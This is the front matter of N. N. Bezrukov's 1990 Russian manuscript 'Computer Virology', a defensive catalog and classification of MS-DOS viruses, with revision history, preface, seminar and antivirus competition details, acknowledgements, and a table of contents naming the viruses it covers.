На правах рукописи БЕЗРУКОВ НИКОЛАЙ НИКОЛАЕВИЧ КОМПЬЮТЕРНАЯ ВИРУСОЛОГИЯ Часть 1: Общие принципы функционирования, классификация и каталог наиболее распространенных вирусов в операционной системе MS DOS Киев 1990 БЕЗРУКОВ Н.Н. КОМПЬЮТЕРНАЯ ВИРУСОЛОГИЯ. Часть 1: Общие принципы функционирования, классификация и каталог наиболее распространенных вирусов в операционной системе MS DOS / Редакция 5.5 от 10.11.90.- 1990. - 450 с. Ил. 11, список лит.: 340 назв., прил. 9. Данная редакция заменяет предыдущие редакции (1.0-1.4, 2.02.9, 3.0-3.7, 4.0-4.8, 5.0-5.4), и большинство описываемых в ней программных продуктов уже опубликованы в вышедших в свет выпусках электронного бюллетеня СОФТПАНОРАМА. Некоторые из упоминаемых "свежих" версий программных средств защиты от вирусов, распространяемых бесплатно (FREEWARE), а также средств, разработка которых частично финансируется пользователями (SHAREWARE), были переданы автору для ознакомления и тестирования и будут опубликованы в последующих выпусках СОФТПАНОРАМЫ. В редакции 5.5 исправлен ряд ошибок и опечаток, несколько изменена структура главы 1 и переработана глава 10. В редакции 5.4 уточнены сведения о некоторых вирусах, внесены изменения в приложение 6. В редакции 5.3 переработаны глава 6 и глава 8. В редакции 5.2 уточнены сведения по последним обнаруженным вирусам, исправлено оглавление, доработана гл.2, исправлена и дополнена таблица в прил.1. Введен термин техно-крыса применительно к разработчикам компьютерных вирусов, сознательно распространяющим свои продукты. В редакции 5.1 исправлены мелкие опечатки, а также неточности в описании вируса RCE-04096. В редакции 5.0 классификационные таблицы вынесены в приложения, внесен ряд изменений в структуру книги, в частности, переработана гл.1. Добавлены сведения про файловые вирусы С-257, С-1024, RС-394, RС-488 и бутовые вирусы Stone Rostov, Print Screen. В редакции 4.8 польская подгруппа выделена в отдельную группу файловых нерезидентных вирусов. Исправлен ряд ошибок и опечаток. В редакции 4.7 уточнен ряд сведений в табл.1, а также сведения про вирус Joshy. В редакции 4.6 переработан раздел 2.4. В связи с обнаружением стелс-вирусов в СССР соответствующий раздел перенесен в гл.5, а информация, относящаяся к вирусу RCE-04096, уточнена. Исправлен ряд ошибок и неточностей в прил.2 и 3. В редакции 4.5 в табл.3 для ряда вирусов внесены использованные в полидетекторе TNTVIRUS фирмы CARMEL. некоторые опечатки и неточности. сигнатуры, Исправлены В редакции 4.4 полностью переработано приложение 4 и лено приложение 5. Уточнены сведения по вирусу RC-492. добав- В редакции 4.3 внесен ряд изменений в приложения 2 и 3, уточнено изложение некоторых пунктов глав 4 и 10. В редакции 4.2 добавлены описания вирусов RCE-1600 (Пакость-3) и WM-1F (Joshy). Полностью переработаны приложение 2 и приложение 3. Дополнен список литературы. В текст внесено много мелких изменений и уточнений. В связи с положительными отзывами на "оживляж" в виде эпиграфов, добавлен ряд новых эпиграфов, а торые неудачные заменены. неко- В редакции 4.1 изменена структура книги: глава 4 (КЛАССИФИКАЦИЯ МЕТОДОВ ЗАЩИТЫ) объединена с главой 8 (ТЕХНОЛОГИЯ ПРИМЕНЕНИЯ СРЕДСТВ ЗАЩИТЫ ОТ ВИРУСОВ). Предполагается, что в дальнейшем эта глава будет вынесена из данной части и войдет во вторую часть данной работы. В свою очередь табл.1 и табл.2 сокращены: в них оставлены только вирусы, найденные в CCCР. Вирусы, известные по литературе, вынесены в отдельные таблицы (табл.3 и табл.4), которые существенно переработаны и дополнены сведениями из файла VIRUSSUM П.Хоффман. Глава 5 (КАТАЛОГ НАИБОЛЕЕ РАСПРОСТРАНЕННЫХ ФАЙЛОВЫХ ВИРУСОВ) в связи со своим большим объемом разбита на три: нерезидентные файловые вирусы, обнаруженные в СССР, резидентные файловые вирусы, обнаруженные в СССР, и вирусы, известные только по литературе. Глава 6 (КАТАЛОГ НАИБОЛЕЕ РАСПРОСТРАНЕННЫХ БУТОВЫХ ВИРУСОВ) разбита на две: бутовые вирусы, обнаруженные в СССР, и вирусы, известные только по литературе. Несколько переработана структура дескриптора файлового и бутового вируса. Доработано приложение 1. В редакции 4.0 текст глав 1-4 и 7 существенно переработан и дополнен. Исключены табл.3-8. Некоторые изменения и уточнения сделаны в главе 5, в частности, сокращен и заменен ряд дампов. Вместо термина "фильтр" в качестве названия этого класса антивирусных программ теперь используется термин "сторож". Это сделано во избежание путаницы с соответствующим термином MS DOS и UNIX. Как обычно, переработаны и дополнены табл.1-2: в них внесены сведения о дате обнаружения вируса, его распространенности, а для файловых вирусов дополнительно приводятся J-сигнатуры. Кроме того, несколько изменена структура дескриптора. В процессе подготовки материала к публикации к некоторым главам с целью "оживления" изложения добавлены эпиграфы. В редакции 3.7 расширены и дополнены табл.1-2, добавлено описание вируса RC-492. Понятие J-сигнатуры обобщено и на файловые вирусы. Восстановлено приложение 1, которое теперь содержит каталог опубликованных в бюллетене СОФТПАНОРАМА антивирусных средств, распространяемых бесплатно. В редакции 3.6 глава 5 разбита на три главы по типам вирусов (файловые, бутовые и сетевые), а также снято приложение 1, как устаревшее. В редакции 3.5 расширены и исправлены табл.1-2, добавлены описания вирусов RC-600, Den Zuk, Merphy, EXE, Muzikant, уточнены сведения о RCE-2000, внесен ряд изменений и добавлений в гл.4 и 6. В редакции 3.4 исправлены табл.1-7, добавлено описание группы Datacrime и уточнен ряд сведений о других вирусах. В редакции 3.3 добавлено описание вирусов группы IV, а также вставлен ряд недостающих дампов штаммов, а некоторые, не совсем удачные, дампы заменены. В редакции 3.2 переработаны табл.1-2, уточнен ряд полей дескриптора, добавлено описание вируса RCE-2000. В редакции 3.1 исправлены неточности, допущенные при подготовке табл.1-2 редакции 3.0, и добавлен дамп штамма Brain86 (Ashar) пакистанской группы вирусов. В редакции 3.0 значительно переработана структура книги. Изменено правило для определения длины файловых вирусов (в качестве эталонной программы теперь принимается не COMMAND.COM PC DOS версии 3.3 с длиной 25307 байтов, а программа, длина которой кратна 16; это приводит к уменьшению на 5 числовых значений в используемой числовой классификационной характеристике для всех вирусов, которые выравнивают свое тело на начало параграфа). В связи с возрастанием количества вирусов материал, относящийся к файловым вирусам, перегруппирован и разбит на группы (Венская, группа Каскад, Иерусалимская и группа TP). Кроме того, изменены классификационные коды: для файловых вирусов буква R вынесена в префикс, а для бутовых вирусов в качестве характеристики теперь используется значение второго байта бутсектора. (С) 1989, 1990 Безруков Н.Н. Разрешается бесплатное копирование и распространение при условии сохранения целостности материала и отсутствия прямой коммерческой выгоды. Авторам антивирусных программ разрешается бесплатное воспроизведение в документации табл.1-4 независимо от того, является ли данная программа бесплатной или коммерческой. Для распространения с целью получения коммерческой выгоды, включая поставку в качестве части документации к продаваемым программным продуктам, использование на платных курсах и т.д., необходимо заключение соответствующего договора с автором. ПРЕДИСЛОВИЕ "Читатель, вот мои "Досуги"... Суди беспристрастно! Издаю пока отрывок." Козьма Прутков По мере развития и усложнения компьютерных систем и программного обеспечения возрастает объем и повышается уязвимость хранящихся в них данных. Одним из новых факторов, резко повысивших эту уязвимость, является массовое производство программно-совместимых мощных персональных ЭВМ, которое явилось одной из причин появления нового класса программ-вандалов - компьютерных вирусов. Наибольшая опасность, возникающая в связи в опасностью заражения программного обеспечения компьютерными вирусами, состоит в возможности искажения или уничтожения жизненно-важной информации, которое может привести не только к финансовым и временным потерям, но и вызвать человеческие жертвы. В последние три года в зарубежной печати наблюдается активное развитие исследований, посвященных проблеме защиты компьютеров от вирусов. О размахе работ по рассматриваемой тематике свидетельствует ряд фактов: библиография работ, затрагивающих или целиком посвященных данной проблеме, исчисляется сотнями наименований, появился ряд монографий, как американских, так и европейских авторов (см. приведенный в данной работе список источников, хотя он, естественно, является неполным и включает только публикации, доступные в СССР). Состоялось несколько конференций по проблеме защиты от вирусов, а на большинстве представительных конференций имеются секции, так или иначе связанные с этой тематикой. Появился ряд фирм, для которых разработка антивирусных средств стала основным направлением их деятельности. Все это ставит вопрос о формировании новой инженерной дисциплины "компьютерной вирусологии", рассматриваемой как совокупность методов и приемов изучения компьютерных вирусов и разработки эффективных средств защиты от них. Можно выделить три основных направления исследований в компьютерной вирусологии: теоретические исследования, разработка методов анализа и разработка средств защиты. Теоретические исследования связаны с выявлениями закономерностей, присущих эпидемиям компьютерных вирусов, анализом "точек проникновения" и созданием неспецифической методики выявления вирусов в компьютерных программах. Исследование этих проблем наталкивается на значительные трудности, частично связанные с их новизной и необычностью, а частично с нечеткостью самой проблемы. Например, проблема выделения вируса в компьютерной программе может с теоретической точки зрения рассматриваться как задача распознавания образов, однако такой абстрактный подход непросто увязать с практическими проблемами детектирования вирусов. Разработка методов анализа связана с проблемой дизассемблирования программного обеспечения, не имеющего исходных текстов. К проблеме дизассемблирования в академических кругах незаслуженно относились пренебрежительно, а те немногие статьи, которые писались по данной тематике, часто отвергались редакциями журналов как "ненаучные" и связанные с "пиратством". На самом же деле проблема дизассемблирования является частью проблемы реконструкции программного обеспечения. Последнее время это направление усиленно развивается за рубежом и есть надежда, что постепенно оно будет признано и нашей "официальной" наукой. Наибольшие результаты в настоящее время достигнуты в третьем направлении - создании конкретных антивирусных программ и методик их применения. Ряд разработок доведен до уровня программных продуктов и широко используются пользователями. Не случайно этой теме посвящена значительная часть "антивирусных публикаций". Конечно, компьютерная вирусология быстро развивается и в последнее время в разных ее разделах получены новые интересные результаты, которые еще не нашли отражения в данной работе. Данная рукопись представляет собой исправленный и дополненный текст лекций, прочитанных автором на Киевском семинаре "Системное программирование", начиная с апреля 1989 г., и является первой частью запланированной автором работы, посвященной вопросам, связанным с компьютерными вирусами. В ней излагаются общие принципы функционирования вирусов, предлагаемая автором классификация и кратко описываются наиболее распространенные (на период подготовки настоящей редакции) компьютерные вирусы. Содержание книги охватывает достаточно широкий круг вопросов без излишней детализации. Необходимые термины определяются неформально и могут быть восприняты на интуитивном уровне. Для понимания основного содержания книги достаточно некоторого знакомства с операционной системой MS DOS (например, в объеме, приводимом в книге В.Э.Фигурнова [Фигурнов90]) и не требуется знания языка ассемблера. Хотя изложение ориентировано на MS DOS, большинство излагаемых приемов анализа и методов защиты применимы, с соответствующими модификациями, и для других операционных систем. Предполагается, что вся работа будет состоять их трех частей. В частности, во второй части работы будут рассмотрены проблемы трассировки, дизассемблирования и реконструкции загрузочных модулей, а в третьей - вопросы классификации, использования и конструирования средств защиты от компьютерных вирусов, Они будут опубликованы в последующих выпусках бюллетеня СОФТПАНОРАМА. Относительно компьютерных вирусов существует много мифов, поэтому очень важно наличие объективной "первичной" информации. Дело в том, что как в публикациях, так и в "программистском фольклоре" встречаются неточные или вообще неверные утверждения относительно эффектов, вызываемых тем или иным вирусом, и оптимального выбора методов защиты. Следует также отметить, что некоторые авторы брошюр на эту тему, появившихся в массовых изданиях и научно-популярных журналах, не обладают достаточной квалификацией в области системного программирования и, стараясь придать материалу сенсационный характер, скатываются при описании вирусов на уровень "фильмов ужасов". Поскольку научные интересы автора в последнее время были сосредоточены на вопросах разработки эффективных методов дисассемблирования, обратной трансляции и реконструкции программного обеспечения [Безруков88], новый тип программ - вирусы сразу привлек внимание как один из возможных полигонов для отработки разрабатываемых методов и средств. В рамках проводимых автором исследований автором выполнено дизассемблирование и реконструкция исходных текстов ряда компьютерных вирусов [Безруков89,90а,90б,90в]. Дополнительно к дизассемблированию и статическому анализу, работа вирусов трассировалась и их поведение изучалось в контролируемой среде. Приводимые ниже сведения дают достаточно подробную информацию об особенностях, механизме распространения и типах наносимого ущерба этой новой, сравнительно мало исследованной разновидности системных программ. Автор надеется, что эта систематизация и последовательное изложение имеющегося фактического материала поможет более эффективной борьбе как с уже известными, так и с новыми типами ко- мпьютерных вирусов. Поскольку настоящая публикация является предварительной, в ней пропущена часть иллюстративного материала, недостаточно подробно описаны средства защиты, ряд сведений о распространяющихся в СССР вирусах носит фрагментарный характер. Кроме того, текст, повидимому, нуждается в литературном редактировании. Тем не менее, учитывая отсутствие систематических сведений по данному вопросу и срочность публикации, я считаю возможным предложить данную работу "как есть", сознавая недостатки стиля изложения и принятой схемы построения работы. Появление канала обратной связи в виде реакции участников семинара и читателей безусловно послужит стимулом устранения имеющихся недостатков, и в последующих номерах бюллетеня СОФТПАНОРАМА будет приведена очередная "исправленная и дополненная" редакция данной работы. С начала 1989 года в Киеве действует ежемесячный семинар "Системное программирование" (семинар проходит во второй четверг каждого месяца в ауд.4-205 КИИГА; начало в 15.00), работа которого в какой-то мере координирует усилия разработчиков антивирусных средств. По материалам семинара под редакцией автора этих строк ежемесячно (точнее, 10 раз в год) выходит электронный бюллетень СОФТПАНОРАМА, в котором регулярно публикуются новые версии антивирусных программ, распространяемых бесплатно, документация к ним и сообщения о новых вирусах и их штаммах. В настоящее время десятки коллективов и отдельных программистов разрабатывают эффективные антивирусные средства. В частности, значительной популярностью пользуются программы, разработанные участниками семинара и распространяемые через бюллетень СОФТПАНОРАМА (CHECK21, SBM, VL и др.). Редакция СОФТПАНОРАМы предлагает сотрудничать с ней авторам бесплатных антивирусных программ. При этом переданная в редакцию версия, как правило, включается в очередной выпуск бюллетеня, т.е. задержка в публикации составляет менее месяца (а для приезжающих на семинар иногородних разработчиков - несколько часов). Кроме того, помещаются демонстрационные версии коммерческих программ, если они представляют интерес для пользователей. Все это позволяет оперативно реагировать на появление новых разновидностей компьютерных вирусов и в пределах месяца обеспечивать участников семинара и читателей бюллетеня доработанными, с учетом появившихся вирусов, версиями антивирусных программ, а их авторов - соответствующей долей общественного уважения. Кроме того, все опубликованные в бюллетене СОФТПАНОРАМА антивирусные программы участвуют в конкурсе на лучшую антивирусную программу, проводимом с 1990 г. (призовой фонд первого конкурса, проведенного в январе-феврале 1990 г. составил 1500 руб.). В ходе проведения первой Всесоюзной конференции "Методы и средства защиты от компьютерных вирусов в операционной системе MS DOS" планируется проведение следующего, второго конкурса бесплатных антивирусных программ (конференция пройдет с 14 по 17 ноября в Киеве, на базе КИИГА). Программы, представляемые на конкурс, должны быть переданы в оргкомитет не позднее 12 сентября. Конкурс пройдет в трех классах программ: - фаги (включая самообучающиеся); - детекторы и ревизоры (включая резидентные, а также модули и заготовки на языках высокого уровня, обеспечивающие самотестирование на заражение); - вакцины и сторожа (включая специализированные драйверы и самоизлечивающиеся оболочки). Для победителей в каждом классе программ установлены следующие премии: - по классу фагов: I премия - 1500 руб., II премия - 900 руб., III премия - 600 руб. - по классу детекторов и ревизоров: I премия - 1200 руб., II премия - 750 руб., III премия - 450 руб. - по классу вакцин и сторожей: I премия - 1200 руб., II премия - 750 руб., III премия - 450 руб. Жюри будет состоять из независимых специалистов, продолжительное время работающих в данной области, но не участвующих в конкурсе. Помимо премий жюри будет также установлен ряд дополнительных премий. В рамках конференции будут организованы секции: - классификация вирусов и методы анализа вирусоподобных программ, инструментальные средства вирусолога: разработка и использование средств дизассемблирования, трассировки и других методов анализа загрузочных модулей; (руководитель секции Н.Н.Безруков); - вопросы конструирования, cравнительный анализ и перспективные методы усиления фагов (руководитель секции Д.Н.Лозинский); - вопросы конструирования детекторов, эвристические методы детектирования вирусов, организация входного контроля, конструирование ревизоров и алгоритмы самотестирования программ; - конструирование резидентных программ защиты, методы контроля "on the fly", нетрадиционные методы защиты от вирусов, незаражаемые и самоизлечивающиеся программы (руководитель секции А.Водяник); - методы и алгоритмы защиты от несанкционированного копирования коммерческого ПО (руководитель секции В.Герасимов); - меры воздействия и возможные санкции против разработчиков и распространителей вирусов (общая дискуссия); Поскольку в настоящее время компьютерная вирусология переживает своего рода бум, имеется определенная потребность в унификации терминологии и оперативном обмене информацией между разработчиками и пользователями с одной стороны и между самими разработчиками. Например, на начальном этапе практически каждый разработчик антивирусных средств разрабатывал собственную классификацию компьютерных вирусов, которая обычно оказывалась никак не согласованной с классификацией других разработчиков. Сейчас эта ситуация несколько меняется и среди неформальных названий стандартными постепенно становятся названия, используемые в полидетекторе SCAN фирмы McAfee Associates (США). Однако этим неформальным названиям присущ тот недостаток, что они охватывают только вирусы, детектируемые текущей версией программы SCAN, а набор вирусов, распространяющихся в США, отличается о советского. Поэтому наряду с неформальной классификацией необходима и формальная, попытка создания которой предпринята в предлагаемой ниже работе. Сейчас уже практически никто не сомневается в важности создания формальной классификационной схемы; споры вызывает лишь вы- бор конкретной иерархии признаков (очевидно, что система классификации компьютерных вирусов, как и любая другая классификационная система, должна предполагать иерархию признаков, т.е. выбор в отношении порядка критериев и их значимости). Предлагаемый автором подход является предельно прагматическим и ориентирован прежде всего на однозначную идентификацию вирусов рядовыми пользователями, что, естественно, накладывает определенные ограничения на выбор классификационных признаков (свойств). Данная классификационная система находит все более широкое применение и в настоящее время используется рядом разработчиков. Однако, к сожалению, никто из них не реализовал диалоговую подсказку на базе разработанного автором дескриптора, хотя это существенно повысило бы качество выдаваемой пользователю информации. Следует подчеркнуть, что всем разработчикам как бесплатных, так и коммерческих антивирусных средств разрешается включение копий прил.1-5 в текст документации или в виде приложений к последней. Хотя предложенная классификация не лишена недостатков, все же по мнению автора важнее во-время сделать ставку на какой-то более или менее приемлемый вариант, чем тратить собственное время и силы на разработку более удачной альтернативы. Поскольку автор регулярно обновляет предложенные классификационные таблицы вирусов, корректировка документации (и оперативной подсказки пользователям !) разработчиками антивирусных средств, использующих эти таблицы, может быть выполнена путем простой замены предыдущей редакции таблиц на текущую. Это можно даже сделать автоматически с помощью специального препроцессора. Кроме того, такое решение разработчиков существенно облегчает жизнь пользователям, которые могут использовать данную работу как дополнение к используемой антивирусной программе. Наряду с классификацией, важное значение имеет создание каталога описаний наиболее распространенных компьютерных вирусов, из которого можно было бы выяснить свойства, степень опасности и основные приемы борьбы с этой новой разновидностью компьютерного вандализма, а также разработать собственную методику работы в "вирусоопасной" обстановке. Автор попытался в меру своих сил выполнить эту задачу в предлагаемой вашему вниманию части работы. Насколько эта попытка удалась, судить читателю. В процессе работы автор опирался на помощь и поддержку участников киевского семинара "Системное программирование", студентов сотрудников ТК NEATAVIA (В.Пономаренко, И.Свиридов, О.Суворов), а также разработчиков антивирусных программ. Обмен информацией с Е.Н.Касперским, Д.Н.Лозинским, А.А.Сессой и А.А.Чижовым и другими разработчиками отечественных антивирусных программ позволил оперативно включать в очередные версии сведения о появлявшихся вирусах. Кроме того, при написании работы использовалась неопубликованная документация к антивирусным программам указанных автором (Д.Н.Лозинского, О.Котика, А.Сессы, Е.Касперского и др.). В.Герасимов передал автору Virus Information Summary List, составленный Патрицией М. Хоффман (Patricia M. Hoffman). Особую благодарность автор выражает cотруднику ВЦ АН СССР Ю.П.Лященко, который на протяжении всего времени работы над данной книгой оказал существенную помощь в работе, в особенности в вопросах, связанных с совершенствованием структуры книги, унификацией терминологии и систематизацией изложения материала. Кроме того, Ю.П.Лященко помог автору с копированием литературы по данной тематике, высказал ряд полезных замечаний по тексту рукописи и выполнил трудоемкую работу по составлению и редактированию библиографии и приложения 5. Ряд читателей данной работы прислали свои замечания и предло- жения, учет которых позволил повысить качество изложения и исправить ошибки и неточности. Всем им автор выражает свою искреннюю благодарность. В то же время именно автор несет ответственность за все ошибки и неточности, имеющиеся в работе, и будет благодарен всем, приславшим свои замечания и предложения. Их следует направлять по адресу: 252006, Киев-6, Красноармейская 124а, кв. 85 или сообщать по телефону (044) 268-10-26 с 9 до 10 часов утра. Я постараюсь их учесть при подготовке очередной редакции данной работы. Если не оговорено обратное, то письма, адресованные автору, рассматриваются как поступившие в адрес редакции бюллетеня СОФТПАНОРАМА. Наиболее интересные из них публикуются в очередном номере бюллетеня. Редакция оставляет за собой право редактирования содержания писем. Первая версия данной работы была выпущена в сентябре 1989 года и в дальнейшем обновлялась ежемесячно, к очередному семинару. Поскольку она распространяется, в основном, стихийно, нередко получается так, что в отдельные регионы попадают версии почти годичной давности. Поэтому, начиная с версии 3.0, принимается подписка от иногородних организации на 10 редакций "Компьютерной вирусологии" на дискетах. Очередная версия высылается подписчику по получению гарантийного письма, а девять последующих (как уже говорилось, очередная редакция готовится обычно к очередному семинару) высылаются подписчикам на дискетах по мере их появления. По вопросам подписки на бюллетень СОФТПАНОРАМА и указанные выше выпуски данной работы просьба обращаться по адресам, указанным в файле READ.ME, который поставляется вместе с данной работой. В этом же файле указаны условия подписки и распространения. 10.11.90 Н.Н.Безpуков ОГЛАВЛЕНИЕ 1. ОЧЕРК ИСТОРИИ КОМПЬЮТЕРНЫХ ВИРУСОВ 1.1. Предыстория 1.1.1. Первые эксперименты 1.1.2. Романы Бруннера, Гибсона и расцвет "околовирусного" направления в научной фантастике 1.1.3. Apple II и BBS создают условия для распространения троянских программ и вирусов 1.1.4. Первые эксперименты с сетевыми вирусами 1.1.5. Тьюринговская лекция Кена Томпсона 1.1.6. Игра "Бой в памяти", работы Коэна и другие события 1984 г. 1.1.7. Первые попытки противодействия: список "грязная дюжина" и первые антивирусные программы 1.2. Второй этап є компьютеры в осаде 1.2.1. Хакеры 1.2.2. Первые случаи массового заражения 1.2.3. Вирусы и Микрософт: MS DOS как VIR DOS 1.2.4. Появление более "вирусоустойчивых" альтернатив MS DOS 1.2.5. OS/2 и компьютерные вирусы 1.2.6. Роль компьютерных сетей 1.2.7. Появление вирусов в СССР 1.2.8. Отечественные антивирусные публикации 1.2.9. Первые отечественные антивирусные программы, начало формирования рынка программных средств защиты от вирусов 1.2.10. Появление аппаратных средств защиты от вирусов 1.2.11. Семинар "Системное программирование" и бюллетень СОФТПАНОРАМА 1.2.12. Болгарские и польские исследования 1.2.13. Законы, направленные против техно-крыс 1.2.14. Этические проблемы, связанные с распространением компьютерных вирусов 1.2.15. Проблема самоизоляции 1.3. Современная ситуация 1.3.1. Хроника событий 1.3.2. Болгарский вирусный взрыв 1.3.3. Колхоз им. Герострата, или вирусы, "выращенные" в СССР 2. ОБЩИЕ ПРИНЦИПЫ ФУНКЦИОНИРОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ 2.1. Программы-вандалы 2.2. Троянские программы 2.3. Компьютерные вирусы 2.4. Анатомия компьютерного вируса 2.4.1. Структура файлового нерезидентного вируса 2.4.2. Структура файлового резидентного вируса 2.4.3. Структура бутового вируса 2.5. Панацеи не существует (общая классификация средств защиты) 2.6. Жизненный цикл компьютерных вирусов 2.7. Среда обитания вирусов 2.8. Симптомы заражения 2.9. Вызываемые вирусами эффекты 2.10. Повторное заражение 2.11. Вирусофобия и попытки ее эксплуатации 2.12. О возможности повреждения оборудования 2.13. Легенды о полезных вирусах 3. КЛАССИФИКАЦИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ 3.1. Принцип построения классификации 3.2. Классификация файловых вирусов 3.3. Классификация бутовых вирусов 3.4. Использование классификационных таблиц 4. НЕРЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР 4.1. Венская группа 4.1.1. Базисный вирус С-648 (Vienna є Вена) 4.1.2. Штамм С-623 (Vienna-X) 4.1.3. Штамм C-627 (Vienna-Y) 4.2. Польская группа 4.2.1. Вирус С-534 (Toothless є Беззубый, W13) 4.2.2. Вирус С-507 (13 месяц-Б, Toothless-B є Беззубый-Б, W13-B) 4.3. Группа IV (Amstrad) 4.3.1. C-345 (Pixel є Пиксель) 4.3.2. C-847 (Amstrad) 4.3.3. C-740 (Canser є Рак) 4.4. Вирус E-1961 (Yankee Doodle-2 є Янки Дудль-2) 4.5. Вирус C-1024 (Bebe є Бебе) 4.6. Вирус C-257 5. РЕЗИДЕНТНЫЕ ФАЙЛОВЫЕ ВИРУСЫ, ОБНАРУЖЕННЫЕ В СССР 5.1. Группа "Буквопад" 5.1.1. Вирус RС-1701 (Cascade є Буквопад) 5.1.2. Вирус RС-1704 (Cascade-B є Буквопад-Б) 5.2. Иерусалимская группа 5.2.1 Вирус RCE-1813 (Ierusalem є Иерусалим, Black Friday є Черная пятница) 5.2.2. Вирус RCE-1636 (Sunday є Воскресенье) 5.2.3. Воронежская подгруппа 5.2.3.1. Вирус RC-529 (Peterburg є Петербург, Пакость-1) 5.2.3.2. Вирус RC-600 (Пакость-2) 5.2.3.3. Вирус RC-1600 (Voronezh 2.01 є Воронеж 2.01, Пакость-3) 5.2.4. Другие представители иерусалимской группы. 5.3. Группа TP-вирусов 5.3.1. Подгруппа Vacsina 5.3.1.1. Вирус RСE-1206 (ТР-05, VACSINA-5) 5.3.1.2. Вирус RCE-1212 (ТР-04, Vacsina-04). 5.3.1.3. Вирус RCE-1339 (ТР-16, Vacsina-10) 5.3.2. Подгруппа музыкальной перезагрузки 5.3.2.1. Вирус RСE-1805 (ТP-25, Yankee Doodle-19 є Янки дудль-19, Музыкальная перезагрузка) 5.3.2.2. Вирус RСE-1760 (ТP-24, Yankee Doodle-18 є Янки дудль-18, Музыкальная перезагрузка) 5.3.3. Подгруппа музыкальных самоедов 5.3.3.1. Штамм RCE-2885 (TP-44, Yankee Doodle-2C є Янки дудль-2С, Five o'clock) 5.3.3.2. Вирус RCE-2680 (ТР-33, Yankee Doodle-21 є Янки дудль-21) 5.3.3.3. Вирус RCE-2568 (ТР-34, Yankee Doodle-22 є Янки дудль-22) 5.3.3.4. Вирус RCE-2756 (ТР-38, Yankee Doodle-26 є Янки дудль-26) 5.3.3.5. Вирус RCE-2901 (ТР-45, Yankee Doodle-2D є Янки дудль-2D) 5.3.3.6. Вирус RCE-2932 (ТР-41, Yankee Doodle-29 є Янки дудль-29) 5.4. Группа Avenger 5.4.1. Вирус RCE-1800 (Dark Avenger є Черный мститель; Eddie є Эдди) 5.4.2. Вирус RCE-02000 (V2000, Anti-Bontchev є Анти-Бончев) 5.5. Вирус RCE-1277 (Murphy є Мерфи) 5.6. Группа "второй половины таблицы прерываний" 5.6.1. Вирус RC-492 (sI) 5.6.2. Вирус RC-488 (Flu-2 є Грипп-2, LoveChild є Внебрачный ребенок) 5.7. Группа стелс-вирусов 5.7.1. RCE-04096 (Frodo є Фродо, 4096) 5.7.2. Вирус RC-0-512 (512, 666) 5.8. Вирус RC-394 (Attention є Внимание) 6. ФАЙЛОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ 6.1. Общие замечания 6.2. Новые стелс-вирусы 6.2.1. Вирус RCE-03584 (Fish є Рыба) 6.2.2. Вирус Mother Fish (Whale) 6.3. "Болгарская серия" 6.3.1. Новые вирусы группы Dark Avenger 6.3.1.1. Вирус RCE-0651 (Eddie-3 - Эдди-3) 6.3.1.2. Вирус RC-800 (800, Live after Death - Жизнь после смерти) 6.3.1.3. Вирус RCE-1024 6.3.1.4. Вирус RCE-02100 6.3.2. Вирус RC-1701p (Phoenix - Феникс) 6.4. Файловые вирусы восточного происхождения 6.4.1. Вирус RCE-2064 (Wolfman) 6.4.2. Вирус C-743 (Taiwan-2) 6.4.3. Вирус RCE-2900 (Taiwan-3 - Тайвань-3) 6.4.4. Вирус RCE-4096 (Plastique) 6.5. Некоторые "ископаемые" файловые вирусы 6.5.1. Вирус RC-0-346 (Lehigh - Лехайский) 6.5.2. Вирус dBASE 6.5.3. Screen Virus - "экранный" вирус 6.5.4. Группа первоапрельских вирусов 6.5.4.1. Вирус RC-897 6.5.4.2. Вирус RE-1488 (SURIV 2 - Сурив 2, 6.5.5. Группа Datacrime (Дейтакрайм) 6.5.5.1. Вирус E-1168 (Datacrime B - Дейтакрайм B, 1168, Columbus Day - День Колумба) 6.5.5.2. Вирус E-1280 (Datacrime B - Дейтакрайм B, 1280, Columbus Day - День Колумба) 6.5.5.3. Вирус СE-1514 6.5.5.4. Вирус СE-1917 (Datacrime IIB - Дейтакрайм IIB, 1917, Columbus Day - День Колумба) 6.6. Мифические файловые вирусы 6.6.1. Вирус Cookie, Cookie Monster - Печенье 6.6.2. Вирус, заражающий объектные библиотеки 6.6.3. Вирус "падающие головки винчестера" 6.6.4. Вирус в сетевом драйвере 6.6.5. Сетевой вирус RCE-2231 6.6.6. Вирусы, поражающие скрытые системные файлы 7. КАТАЛОГ БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В СССP 7.1. Итальянская группа 7.1.1. Вирус Bx1-1C (Ping-Pong - Пинг-понг; Italian Bouncing Итальянский попрыгунчик) 7.1.2. Штамм Bx1-1C-b (Ping-Pong modified by Yankee Doodle - Пингпонг, модифицированный вирусом Янки Дудль) 7.1.3. Штамм Bx1-1C-с (Hacked Ping-Pong - Искромсанный пинг-понг) 7.1.4. Штамм Bx1-1C-d (Double Ping-pong - двойной пинг-понг) 7.2. Пакистанская группа 7.2.1. Вирус Dx3-E9 (Сингапурский вариант Душманских мозгов) 7.2.2. Вирус Dx3-E9 (Оригинальная версия BRAIN; Pakistani virus Пакистанский вирус; Brain-86 - Душманские Мозги-86) 7.2.3. Штамм Dx3-E9 (Ashar - Ашар) 7.3. Южнозеландская группа 7.3.1. Вирус M-05 (Stoned - "Забалдевший") 7.3.2. Штамм "Stone Rostov" 7.3.3. Вирус "PrintScreen" 7.4. Вирус Bx3-EB (Disk Killer - Диск-киллер) 7.5. Вирус D-29 (Den-Zuk - Ден-Зук) 7.6. Индийская группа 7.6.1. Вирус WM-1F (Joshi - Джоши) 8. БУТОВЫЕ ВИРУСЫ, ИЗВЕСТНЫЕ ТОЛЬКО ПО ЛИТЕРАТУРЕ 8.1. Смешанные бутово-файловые вирусы 8.1.1. Вирус C-2351 (Ghostballs - Мячик призрака) 8.1.2. Вирус RCE-2560 (Virus-101) 8.1.3. Вирус RC-1253 (AntiCad, V-1) 8.1.4. Вирус RCE-1040 (Anthrax) 8.2. Бутовые вирусы восточного происхождения 8.2.1. Вирус Microbes 8.2.2. Вирус AirCop 8.2.3. Вирус Korea 8.2.4. Вирус Ohio 8.3. Ископаемые бутовые вирусы 8.3.1. Вирус Alameda (Аламеда) 8.3.2. Вирус Chaos (Хаос) 8.4. Мифические бутовые вирусы 8.4.1. Вирус Bxxx (Boot Killer - бут-киллер) 9. 